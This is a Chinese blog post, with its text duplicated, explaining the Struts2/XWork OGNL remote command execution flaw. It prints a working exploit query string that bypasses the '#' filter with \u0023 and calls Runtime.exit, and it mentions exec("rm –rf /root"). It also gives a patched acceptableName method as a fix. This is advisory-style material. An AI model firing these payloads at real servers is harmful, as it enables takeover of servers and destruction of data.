- 浏览: 110612 次
- 性别:
- 来自: 上海
文章分类
最新评论
最近发现 struts 2的这个严重安全漏洞,在http://www.iteye.com/topic/720209中已经有所表述,主要是OGNL的问题,摘录如下:
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
发表评论
-
[导入]为Struts 2.0做好准备
2009-10-29 19:00 0摘要: Struts 2.0系列之一 Struts ... -
[导入]常用的Struts 2.0的标志(Tag)介绍
2009-10-29 19:00 268摘要: 在上一篇文章《为Struts 2.0做好准备 ... -
[导入]Struts 2.0的Action讲解
2009-10-29 19:00 588摘要: 有Struts 1.x经验的朋友都知道Act ... -
[导入]在Struts 2.0中国际化(i18n)您的应用程序
2009-10-29 19:00 302摘要: Struts 2.0系列之四 国际化是商业系 ... -
[导入]转换器(Converter)——Struts 2.0中的魔术师
2009-10-29 19:00 430摘要: 在我已往的Struts 1.x项目经验中,有 ... -
[导入]在Struts 2.0中实现表单数据校验(Validation)
2009-10-29 19:00 273摘要: All Input Is Evil! ... -
[导入]Struts 2的基石——拦截器(Interceptor)
2009-10-29 19:00 339摘要: Struts 2.0系列之七 Interce ... -
[导入]在Struts 2中实现文件上传
2009-10-29 19:00 245摘要: Struts 2.0系列之九 Struts ... -
[导入]在Struts 2中实现CRUD
2009-10-29 19:00 329摘要: Struts 2系列之十 CRUD是Crea ... -
[导入]Struts 2中的OGNL
2009-10-29 19:00 510摘要: Struts 2系列之十一 OGNL是一种功 ... -
[导入]Strus 2的新表单标志的使用
2009-10-29 19:00 470摘要: Struts 2系列之十二 Struts 2 ... -
[导入]Struts 2与AJAX(第一部分)
2009-10-29 19:00 438摘要: Struts 2系列之十三 在当今——Web ... -
[导入]Struts 2与AJAX(第二部分)
2009-10-29 19:00 546摘要: Struts 2系列之十四 在上一篇文章《S ... -
[导入]Struts 2与AJAX(第三部分)
2009-10-29 19:00 533摘要: 在上两部分的《Struts 2与AJAX》中 ... -
struts2 页面转向错误No result defined for action and result Invalidation
2009-11-20 16:57 748Messages: No result defined for ... -
struts1.3-基础及原理
2009-11-29 22:59 561网站struts.apache.org 实践 ... -
struts1.3-DispatchAction
2009-11-30 08:10 372DynaActionForm 配态form 1 配置动态for ... -
struts1.3-Converter
2009-11-30 08:10 611Converter添加java.util.Date ... -
struts1.3-exception
2009-11-30 08:11 783一 配置异常(在struts-config.xml文件中定义) ... -
struts1.3-plugIn
2009-11-30 08:12 334可以加入ValidatorPlugIn动态验证框架插件 org ...
相关推荐
Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试...
Struts2 安全漏洞解析,距离上个版本发布仅仅过去1周,apache struts官网又发布struts2最新版本安全公告,主要修复了一个漏洞,代号S2-022:从漏洞简要描述来看,确定是对之前S2-021的补充。
Struts2低版本安全漏洞及解决办法 Struts2低版本安全漏洞及解决办法
Struts2安全漏洞扫描工具 - 基于Python开发,包含21个文件,如WAR、GITIGNORE、...该项目为用户提供了一个Struts2安全漏洞扫描工具,通过界面交互和功能模块,为用户提供了一个高效、易用的安全漏洞检测解决方案。
Struts2漏洞检查工具Struts2.2019.V2.3
Struts2是一个基于MVC设计模式的Web应用框架,但2存在远程代码执行的漏洞,现在Struts2漏洞检测工具2017版增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过...
Struts 2 全版本漏洞检测工具
Struts2远程命令执行漏洞解析 漏洞解析 远程命令 Struts2
给还用struts2框架的系统提供一个完美的解决方案,里面的struts2版本jar都统一好,大家在用的时候直接将对应的jar先删除,然后用这里面的jar包。必免jar冲突了
struts2 漏洞检测工具 ,快速检测struts命令执行漏洞,可批量。运行环境要求:MAC/Linux下的Python2、Python3 。支持ST2-005,ST2-008,ST2-009,ST2-013,ST2-016,ST2-019,ST2-020,ST2-devmode,ST2-032,ST2-033,ST2-037...
K8 Struts2 Exp 20160516(Struts2综合漏洞利用工具)
-- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper --> <bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class=...
对struts2远程漏洞扫描工具
该漏洞影响范围(Struts 2.3.5 - Struts 2.3.31, Struts 2.5 ...文件包含ognl-3.0.21.jar,struts2-convention-plugin-2.3.34.jar,struts2-core-2.3.34.jar,struts2-spring-plugin-2.3.34.jar,xwork-core-2.3.34.jar
Struts2漏洞检查工具2019版 警告: 本工具为漏洞自查工具,请勿非法攻击他人网站! ==漏洞编号==============影响版本=========================官方公告==========================================影响范围====...
struts2 最新漏洞 S2-016、S2-017修补方案 .docx
struts2-scan 检测struts2漏洞,认证检测struts2漏洞
Struts终极漏洞利用工具 Powered By 独孤城 Thanks to 峙酿君edwardz
Struts2漏洞检查工具2018版,带最新的漏洞检查,方便使用。目前支持一键检测Struts2漏洞